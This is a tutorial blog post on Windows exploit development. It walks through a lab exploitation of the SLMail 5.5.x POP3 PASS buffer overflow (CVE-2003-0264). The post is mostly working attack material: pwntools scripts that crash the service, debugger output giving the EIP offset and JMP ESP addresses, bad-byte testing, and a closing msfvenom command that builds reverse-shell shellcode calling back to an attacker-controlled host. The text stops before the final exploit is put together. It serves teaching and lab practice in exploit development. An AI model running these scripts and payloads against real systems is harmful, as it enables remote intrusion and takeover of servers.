X86 Exploit Development Series – SLMail 5.5.x

Introduction

In this post, I will be starting a series of posts on windows exploit development by reviewing some different well-known exploits, and by going over some techniques to exploit the Windows operating system.

Prerequisites

I am going to assume you have a decent understanding of the following items:

  • A basic understanding of how a CPU works.
  • A basic understanding of the Windows API.
  • A basic understanding of how memory works.
  • A basic understanding of how debugging works.

Lab Setup

To gather the information needed to debug and write exploits, I need to set up a lab for testing. There are many different ways to approach setting up a lab environment, but I used the following tools and resources for this specific instance.

Virtualization

  • VMware Workstation 15 Pro ( link )

Virtual Machines

  • Windows XP SP3 ISO ( link )
  • Kali Linux for VMware ( link )

Debugger Tools

Overview

For this post, I will be looking at the SLMail 5.5.x exploit listed as CVE-2003-0264. There are a few security features that will need to be bypassed to achieve RCE (Remote Code Execution.) I will be looking at exploiting this vulnerability with and without DEP protection turned on to display techniques in bypassing DEP protection.

What is DEP?

Data Execution Prevention ( DEP ) is a set of hardware and software technologies that perform additional checks on memory to help prevent malicious code from running on a system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet PC Edition 2005, DEP is enforced by hardware and by software.

The primary benefit of DEP is to help prevent code execution from data pages. Typically, code is not executed from the default heap and the stack. Hardware-enforced DEP detects code that is running from these locations and raises an exception when execution occurs. Software-enforced DEP can help prevent malicious code from taking advantage of exception-handling mechanisms in Windows.

Debugging

For this research I will be using the Immunity Debugger with the mona.py library from Corelan. I will be using the Windows XP SP3 virtual machine with DEP protection enabled for the attack.

Setup

After installing Immunity on the Windows XP SP3 virtual machine, drop mona.py into the PyCommands/ folder (inside the Immunity Debugger application folder). To make sure mona.py is installed, and that it is running the latest version, you can type the following into the Immunity command line.

!mona help

After running the above command, you should see the mona.py help menu within the Immunity Debugger log window.

The next step is to set the working directory to save all the different log files that will be generated by mona.py . You can run the following command to set the working directory.

!mona config -set working folder c:\debug-logs\%p

If everything worked, you should see the following output in the log window.

0BADF00D [+] Command used: 0BADF00D !mona config -set working folder c:\debug-logs\%p 0BADF00D Writing value to configuration file 0BADF00D [+] Saving config file, modified parameter working 0BADF00D mona.ini saved under C:\Program Files\Immunity Inc\Immunity Debugger 0BADF00D New value of parameter working = folder c:\debug-logs\%p

The working directory location will now contain all the different log files that will be generated by mona.py .

Fuzzing

The process of fuzzing applications for security flaws usually takes a long time depending on the attack surface of the application or service you are trying to fuzz. I could write entire papers on different fuzzing techniques and still not scratch the surface of what’s possible. To write a fuzzer for the SLMail 5.5.x application, I would usually make a list of all possible commands the service accepts, then write a script to run a while loop to send junk data to each command using variable lengths, but since the advisory mentions…

SLMail Pro is a web-based POP3 and SMTP email server for Microsoft Windows NT/2000/2003/7. The vulnerability occurs in the POP3 server and is caused by insufficient bounds checking of the user-supplied password during authentication.

So instead of fuzzing each service, I can focus on fuzzing the user-supplied password during a POP3 authentication attempt. Before writing any fuzzer scripts for the POP3 protocol, I would recommend bookmarking the RFC1081 documentation to be used as a reference during development.

 #!/usr/bin/env python3
 from pwn import *
 # Payload
 payload = 'A' * 4000
 def execute(_host: str, _port: int):
 # Connection Logic
 conn = remote(_host, _port)
 conn.recvline() # b'+OK POP3 server WIN-XP-SP3 ready <00002.136640@WIN-XP-SP3>\r\n'
 log.info("Sending USER data...")
 conn.send('USER d3d\r\n')
 assert conn.recvuntil(' ', drop=True) == b'+OK'
 log.info(f"Sending PASS with {len(payload)} junk characters")
 conn.send(f'PASS {payload}\r\n')
 if __name__ == '__main__':
 if len(sys.argv) != 3:
 exit(f"[?] Usage: {sys.argv[0]} ")
 host = str(sys.argv[1])
 port = int(sys.argv[2])
 execute(host, port)

After writing the python fuzzer script above, I went over to the Windows XP SP3 virtual machine to attach the Immunity Debugger to the smail.exe process which should be listening on port 110, as seen in the below image.


After attaching the slmail.exe process within the Immunity Debugger, I created a virtual machine snapshot within VMware Workstation. This will allow me to test multilpe times without restarting the virtual machine, or the POP3 service after every attempt. Next, I am going to run the python script I created above to see what happens.

python3 pwn_fuzzer.py 192.168.8.160 110
[+] Opening connection to 192.168.8.160 on port 110: Done [*] Sending USER data... [*] Sending PASS with 4000 junk characters

As you can see in the above output, the fuzzer crashed the POP3 service with a payload size of 4000 bytes. If I take a look at the debugger state, you can see that there was an Access Violation when trying to access memory at location 0x41414141 .

By sending 4000 bytes (A Characters), the buffer was overrun with data, which resulted in having other memory locations overwritten as well as seen in the following image.

You can verify this behavior by checking the registers within the debugger, and you should see that both the EBP and EIP registers were overwritten with A characters (0x41) as seen below.


The above verifies that I can get control of the EBP and EIP registers, however, sending 4000 bytes of the same character doesnt show us exactly where the overflow takes place without doing a lot more analysis within Immunity. To find exactly where the overflow takes place within the 4000 bytes, I am going to use mona.py to generate a cyclic byte pattern… Before I can generate the pattern, I need to set a working directory within the Immunuty debugger to store the log files produced by mona.py .

To set the working directory, make sure the directory exists and then run the following command.

!mona config -set working folder c:\debug-logs\%p
0BADF00D [+] Command used: 0BADF00D !mona config -set working folder c:\debug-logs\%p 0BADF00D Writing value to configuration file 0BADF00D Old value of parameter working = 0BADF00D [+] Saving config file, modified parameter working 0BADF00D mona.ini saved under C:\Program Files\Immunity Inc\Immunity Debugger 0BADF00D New value of parameter working = folder c:\debug-logs\%p 0BADF00D 0BADF00D [+] This mona.py action took 0:00:00

Then to generate the cyclic pattern of 4000 bytes…

!mona pc 4000
0BADF00D [+] Command used: 0BADF00D !mona pc 4000 0BADF00D Creating cyclic pattern of 4000 bytes 0BADF00D Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac.... 0BADF00D [+] Preparing output file 'pattern.txt' 0BADF00D - (Re)setting logfile c:\debug-logs\SLmail\pattern.txt 0BADF00D Note: don't copy this pattern from the log window, it might be truncated ! 0BADF00D It's better to open c:\debug-logs\SLmail\pattern.txt and copy the pattern from the file 0BADF00D 0BADF00D [+] This mona.py action took 0:00:00.110000

After generating the pattern, I need to rewrite the fuzzer script to send the pattern as a payload instead of 4000 ‘A’ characters.

 #!/usr/bin/env python3
 from pwn import *
 # Payload
 with open('pattern.txt', 'r') as file:
     payload = file.read().replace("\n", "")

 def execute(_host: str, _port: int):
     # Connection Logic
     conn = remote(_host, _port)
     conn.recvline() # b'+OK POP3 server WIN-XP-SP3 ready <00002.136640@WIN-XP-SP3>\r\n'
     log.info("Sending USER data...")
     conn.send('USER d3d\r\n')
     assert conn.recvuntil(' ', drop=True) == b'+OK'
     log.info(f"Sending PASS with {len(payload)} character pattern")
     conn.send(f'PASS {payload}\r\n')
 if __name__ == '__main__':
     if len(sys.argv) != 3:
         exit(f"[?] Usage: {sys.argv[0]} ")
     host = str(sys.argv[1])
     port = int(sys.argv[2])
     execute(host, port)

After running the fuzzer with the pattern, it crashed the service as expected, but this time with a pattern of bytes 0x39694438 as seen below.


Because I crashed the service using cyclic pattern created by mona.py , I can use the following command to get information on where the pattern is within memory.

!mona findmsp
0BADF00D [+] Command used: 0BADF00D !mona findmsp 0BADF00D [+] Looking for cyclic pattern in memory 0BADF00D Cyclic pattern (normal) found at 0x015a18e3 (length 4000 bytes) 0BADF00D [+] Examining registers 0BADF00D EIP contains normal pattern : 0x39694438 (offset 2606) 0BADF00D ESP (0x01d7a154) points at offset 2610 in normal pattern (length 430) 0BADF00D EBP contains normal pattern : 0x69443769 (offset 2602) 0BADF00D [+] Examining SEH chain 0BADF00D [+] Examining stack (entire stack) - looking for cyclic pattern 0BADF00D Walking stack from 0x01d78000 to 0x01d7fffc (0x00007ffc bytes) 0BADF00D 0x01d78fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 2044, length 996 (-> 0x01d793c7 : ESP-0xd8c) 0BADF00D 0x01d79f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 2046, length 994 (-> 0x01d7a301 : ESP+0x1ae) 0BADF00D 0x01d7ab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 2044, length 996 (-> 0x01d7aef7 : ESP+0xda4) 0BADF00D 0x01d7cf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 2044, length 996 (-> 0x01d7d2ff : ESP+0x31ac) 0BADF00D [+] Examining stack (entire stack) - looking for pointers to cyclic pattern 0BADF00D Walking stack from 0x01d78000 to 0x01d7fffc (0x00007ffc bytes) 0BADF00D 0x01d78f94 : Pointer into normal cyclic pattern at ESP-0x11c0 (-4544) : 0x01d7a148 : offset 2598, length 442 0BADF00D 0x01d79c58 : Pointer into normal cyclic pattern at ESP-0x4fc (-1276) : 0x01d7ae00 : offset 2792, length 248 0BADF00D 0x01d79d20 : Pointer into normal cyclic pattern at ESP-0x434 (-1076) : 0x01d7a010 : offset 2286, length 754 0BADF00D 0x01d79dcc : Pointer into normal cyclic pattern at ESP-0x388 (-904) : 0x01d7a08c : offset 2410, length 630 0BADF00D 0x01d79ddc : Pointer into normal cyclic pattern at ESP-0x378 (-888) : 0x01d7a010 : offset 2286, length 754 0BADF00D 0x01d79de0 : Pointer into normal cyclic pattern at ESP-0x374 (-884) : 0x01d7a060 : offset 2366, length 674 0BADF00D 0x01d79df0 : Pointer into normal cyclic pattern at ESP-0x364 (-868) : 0x01d7a00c : offset 2282, length 758 0BADF00D 0x01d7f378 : Pointer into normal cyclic pattern at ESP+0x5224 (+21028) : 0x01d7cf1c : offset 2044, length 996 0BADF00D 0x01d7f4d8 : Pointer into normal cyclic pattern at ESP+0x5384 (+21380) : 0x01d7d07c : offset 2396, length 644 0BADF00D 0x01d7f588 : Pointer into normal cyclic pattern at ESP+0x5434 (+21556) : 0x01d7a158 : offset 2614, length 426 0BADF00D 0x01d7f5d4 : Pointer into normal cyclic pattern at ESP+0x5480 (+21632) : 0x0159f0c4 : offset 2043, length 1957 0BADF00D 0x01d7f704 : Pointer into normal cyclic pattern at ESP+0x55b0 (+21936) : 0x01d7a2d4 : offset 2994, length 46 0BADF00D 0x01d7f75c : Pointer into normal cyclic pattern at ESP+0x5608 (+22024) : 0x0159f0c4 : offset 2043, length 1957 0BADF00D [+] Preparing output file 'findmsp.txt' 0BADF00D - (Re)setting logfile c:\debug-logs\SLmail\findmsp.txt 0BADF00D [+] Generating module info table, hang on... 0BADF00D - Processing modules 0BADF00D - Done. Let's rock 'n roll. 0BADF00D 0BADF00D [+] This mona.py action took 0:00:11.235000

The above output contains the offset to overwrite EBP , EIP and ESP , as seen below.

0BADF00D [+] Examining registers 0BADF00D EIP contains normal pattern : 0x39694438 (offset 2606) 0BADF00D ESP (0x01d7a154) points at offset 2610 in normal pattern (length 430) 0BADF00D EBP contains normal pattern : 0x69443769 (offset 2602)

The output above also shows that the ESP register contains 430 bytes of space starting at offset 2610, this should be plenty of room to store some shellcode to execute.

Exploit – No DEP

Since ESP points to the cyclic pattern, I should be able to put up to 430 bytes of shellcode in the ESP register, then use the EIP register to redirect execution flow to the ESP memory location. I am going to look for a non-ASLR enabled DLL that contains a JMP ESP instruction and use that address to store in EIP . To find a JMP ESP instruction that I can use, I will be mona.py to look through the memory to find an address using the following command.

!mona jmp -r ESP
================================================================================ Output generated by mona.py v2.0, rev 596 - Immunity Debugger Corelan Team - https://www.corelan.be ================================================================================ OS : xp, release 5.1.2600 Process being debugged : SLmail (pid 128) Current mona arguments: jmp -r ESP ================================================================================ 2020-01-22 11:06:41 ================================================================================ ----------------------------------------------------------------------------------------------------------------------------------------- Module info : ----------------------------------------------------------------------------------------------------------------------------------------- Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path ----------------------------------------------------------------------------------------------------------------------------------------- 0x76080000 | 0x760e5000 | 0x00065000 | False | True | False | False | True | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll) 0x00340000 | 0x0036a000 | 0x0002a000 | True | False | False | False | False | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll) 0x00e90000 | 0x01155000 | 0x002c5000 | True | True | False | False | True | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll) 0x7c800000 | 0x7c8f6000 | 0x000f6000 | False | True | False | False | True | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll) 0x77c10000 | 0x77c68000 | 0x00058000 | False | True | False | False | True | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll) 0x7c900000 | 0x7c9af000 | 0x000af000 | False | True | False | False | True | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll) 0x10000000 | 0x10007000 | 0x00007000 | False | False | False | False | True | 4.3.0.2 [Openc32.dll] (C:\WINDOWS\system32\Openc32.dll) 0x71a90000 | 0x71a98000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll) 0x00400000 | 0x0045c000 | 0x0005c000 | False | False | False | False | False | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe) 0x76fc0000 | 0x76fc6000 | 0x00006000 | False | True | False | False | True | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll) 0x77fe0000 | 0x77ff1000 | 0x00011000 | False | True | False | False | True | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll) 0x71aa0000 | 0x71aa8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll) 0x774e0000 | 0x7761d000 | 0x0013d000 | False | True | False | False | True | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll) 0x77f60000 | 0x77fd6000 | 0x00076000 | False | True | False | False | True | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll) 0x662b0000 | 0x66308000 | 0x00058000 | False | True | False | False | True | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll) 0x7e410000 | 0x7e4a1000 | 0x00091000 | False | True | False | False | True | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll) 0x763b0000 | 0x763f9000 | 0x00049000 | False | True | False | False | True | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll) 0x76c90000 | 0x76cb8000 | 0x00028000 | False | True | False | False | True | 5.1.2600.5512 [IMAGEHLP.dll] (C:\WINDOWS\system32\IMAGEHLP.dll) 0x77120000 | 0x771ab000 | 0x0008b000 | False | True | False | False | True | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll) 0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False | True | False | False | True | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll) 0x77e70000 | 0x77f02000 | 0x00092000 | False | True | False | False | True | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll) 0x76f20000 | 0x76f47000 | 0x00027000 | False | True | False | False | True | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll) 0x76fd0000 | 0x7704f000 | 0x0007f000 | False | True | False | False | True | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL) 0x773d0000 | 0x774d3000 | 0x00103000 | False | True | False | False | True | 6.0 [comctl32.dll] (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll) 0x76fb0000 | 0x76fb8000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll) 0x77050000 | 0x77115000 | 0x000c5000 | False | True | False | False | True | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll) 0x76f60000 | 0x76f8c000 | 0x0002c000 | False | True | False | False | True | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll) 0x5f400000 | 0x5f4f4000 | 0x000f4000 | False | False | False | False | True | 6.00.8063.0 [SLMFC.DLL] (C:\WINDOWS\system32\SLMFC.DLL) 0x5d090000 | 0x5d12a000 | 0x0009a000 | False | True | False | False | True | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll) 0x00330000 | 0x00339000 | 0x00009000 | True | False | False | False | True | 1.1 [ExcptHnd.dll] (C:\WINDOWS\system32\ExcptHnd.dll) 0x77f10000 | 0x77f59000 | 0x00049000 | False | True | False | False | True | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll) 0x77c00000 | 0x77c08000 | 0x00008000 | False | True | False | False | True | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll) 0x77dd0000 | 0x77e6b000 | 0x0009b000 | False | True | False | False | True | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll) 0x00370000 | 0x0038f000 | 0x0001f000 | True | False | False | False | True | 1.1 [Antares.dll] (C:\WINDOWS\system32\Antares.dll) 0x71ab0000 | 0x71ac7000 | 0x00017000 | False | True | False | False | True | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll) 0x71a50000 | 0x71a8f000 | 0x0003f000 | False | True | False | False | True | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\system32\mswsock.dll) 0x769c0000 | 0x76a74000 | 0x000b4000 | False | True | False | False | True | 5.1.2600.5512 [userenv.dll] (C:\WINDOWS\system32\userenv.dll) ----------------------------------------------------------------------------------------------------------------------------------------- 0x7608bce1 : jmp esp | {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.02.3104.0 (C:\WINDOWS\system32\MSVCP60.dll) 0x7c86467b : jmp esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll) 0x71a91c8b : jmp esp | {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\System32\wshtcpip.dll) 0x77559bff : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll) 0x7755a930 : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll) 0x775a996b : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll) 0x775c068d : jmp esp | {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll) 0x77fab227 : jmp esp | {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll) 0x662eb24f : jmp esp | {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll) 0x7e429353 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll) 0x7e4456f7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll) 0x7e455af7 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll) 0x7e45b310 : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll) 0x7c9d30d7 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d30eb : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d30ff : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d313b : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d314f : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d3163 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d318b : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d319f : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d31b3 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d31c7 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d31db : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d31ef : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d3203 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7c9d3217 : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7cb3fa1e : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x7cb48eed : jmp esp | {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll) 0x77e8560a : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll) 0x77e9025b : jmp esp | {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll) 0x77f31d2f : jmp esp | {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\GDI32.dll) 0x77def049 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll) 0x77df965b : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll) 0x77e18063 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll) 0x77e23b63 : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll) 0x77e42a9f : jmp esp | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll) 0x769d210f : jmp esp | {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll) 0x769ea9a7 : jmp esp | {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll) 0x769eb271 : jmp esp | {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll) 0x769eb6d1 : jmp esp | {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll) 0x769ecf49 : jmp esp | {PAGE_EXECUTE_READ} [userenv.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\userenv.dll) ...

The output from mona.py prints out the address space of each loaded module, where it starts and ends within memory and its size. Before I can find a good JMP ESP instruction, I need to make sure I know which bytes are considered bad within any payload written against this service. This is because I am using the PASS command on the vulnerable POP3 service to send data to the server, and this may be treated as a string which would mean characters like the null byte, carriage return or others may cause the payload to terminate before completing. Because I don’t know what bytes are considered bad before testing, I will have to write a small test using python and mona.py , to check which bytes are corrupting the payload.

First I need to generate the byte array within mona.py by using the following command.

!mona bytearray

The command above will generate a text version and a binary version of the byte array. The text version is what I will use within the python script, and the binary version mona.py uses when checking the memory.

#!/usr/bin/env python3
 from pwn import *
# Payload
 with open('badbytes.txt', 'r') as file:
     payload = 'A' * 2606 # EIP contains normal pattern : 0x39694438 (offset 2606)
     payload += file.read().replace("\n", "")

 def execute(_host: str, _port: int):
     # Connection Logic
     conn = remote(_host, _port)
     conn.recvline() # b'+OK POP3 server WIN-XP-SP3 ready <00002.136640@WIN-XP-SP3>\r\n'
     log.info("Sending USER data...")
     conn.send('USER d3d\r\n')
     assert conn.recvuntil(' ', drop=True) == b'+OK'
     log.info(f"Sending PASS with {len(payload)} character pattern")
     conn.send(f'PASS {payload}\r\n')

 if __name__ == '__main__':
     if len(sys.argv) != 3:
         exit(f"[?] Usage: {sys.argv[0]} ")
     host = str(sys.argv[1])
     port = int(sys.argv[2])
     execute(host, port)

After running the pwn_badbytes.py script, I crashed the service as expected. Now I need to run the following mona.py command to check the ESP memory address contents for the byte array.

!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01cea154

After running the above command, you should get confirmation within Immunity that bad-bytes were detected as seen in the following image.

As you can see from the image above, mona.py detected that 0x00 was a bad-byte. To exclude the 0x00 byte from mona.py , use the following command.

!mona bytearray -cpb \x00

Next, remove the the bad-byte from the pwn_badbytes.py script, and re-run.

python3 pwn_badbytes.py 192.168.8.160 110

Then check the byte array with mona.py , etc…

!mona compare -f c:\debug-logs\slmail\bytearray.bin -a 0x01cea154

After repeating the process 4 times, I found that only 3 bytes were considered to bad. These bytes were 0x00 , 0x0a and 0x0d . Now that I know all of the bad-bytes, I can generate some windows shellcode using msfvenom .

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.156 LPORT=4444 -b '\x00\x0a\x0d' -f py
